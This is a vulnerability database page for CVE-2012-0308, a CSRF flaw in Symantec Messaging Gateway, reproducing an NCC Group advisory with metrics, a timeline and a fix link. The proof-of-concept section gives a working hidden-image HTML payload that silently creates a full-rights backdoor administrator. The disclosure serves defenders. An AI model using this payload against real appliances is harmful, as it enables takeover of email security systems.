CVE-2012-0308
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CVE Descriptions
Cross-site request forgery (CSRF) vulnerability in Symantec Messaging Gateway (SMG) before 10.0 allows remote attackers to hijack the authentication of administrators.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 23109
Publication date : 2012-12-02 23h00 +00:00
Author : Ben Williams
EDB Verified : No
=======
Summary
=======
Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example)
Release Date: 30 November 2012
Reference: NGS00263
Discoverer: Ben Williams <ben.williams@ngssecure.com>
Vendor: Symantec
Vendor Reference:
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: High
Status: Published
========
TimeLine
========
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012
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Description
===========
I. VULNERABILITY
-------------------------
Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example)
II. BACKGROUND
-------------------------
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance
III. DESCRIPTION
-------------------------
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.
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Technical Details
=================
IV. PROOF OF CONCEPT
-------------------------
An attacker can create an web page with a hidden image-tag (example below)
<html>
A very interesting page indeed
<img
src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true"
height=0 width=0>
</html>
When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).
The administrator would not notice anything until they go to here:
http://192.168.1.59:41080/brightmail/admin/administrator/view.do
(where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway)
The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.
Many other functions can be abused in this way to arbitrarily reconfigure the appliance.
===============
Fix Information
===============
An updated version of the software has been released to address the vulnerability:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
NCC Group Research
http://www.nccgroup.com/research
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Products Mentioned
Configuraton 0
Symantec>>Messaging_gateway >> Version To (including) 9.5.4
- Symantec>>Messaging_gateway >> Version 9.5 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.1 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.2 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.3 (Open CPE detail)
- Symantec>>Messaging_gateway >> Version 9.5.4 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5
- Symantec>>Messaging_gateway >> Version 9.5 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5.1
- Symantec>>Messaging_gateway >> Version 9.5.1 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5.2
- Symantec>>Messaging_gateway >> Version 9.5.2 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 9.5.3
- Symantec>>Messaging_gateway >> Version 9.5.3 (Open CPE detail)
Symantec>>Messaging_gateway >> Version 10.0
- Symantec>>Messaging_gateway >> Version 10.0 (Open CPE detail)
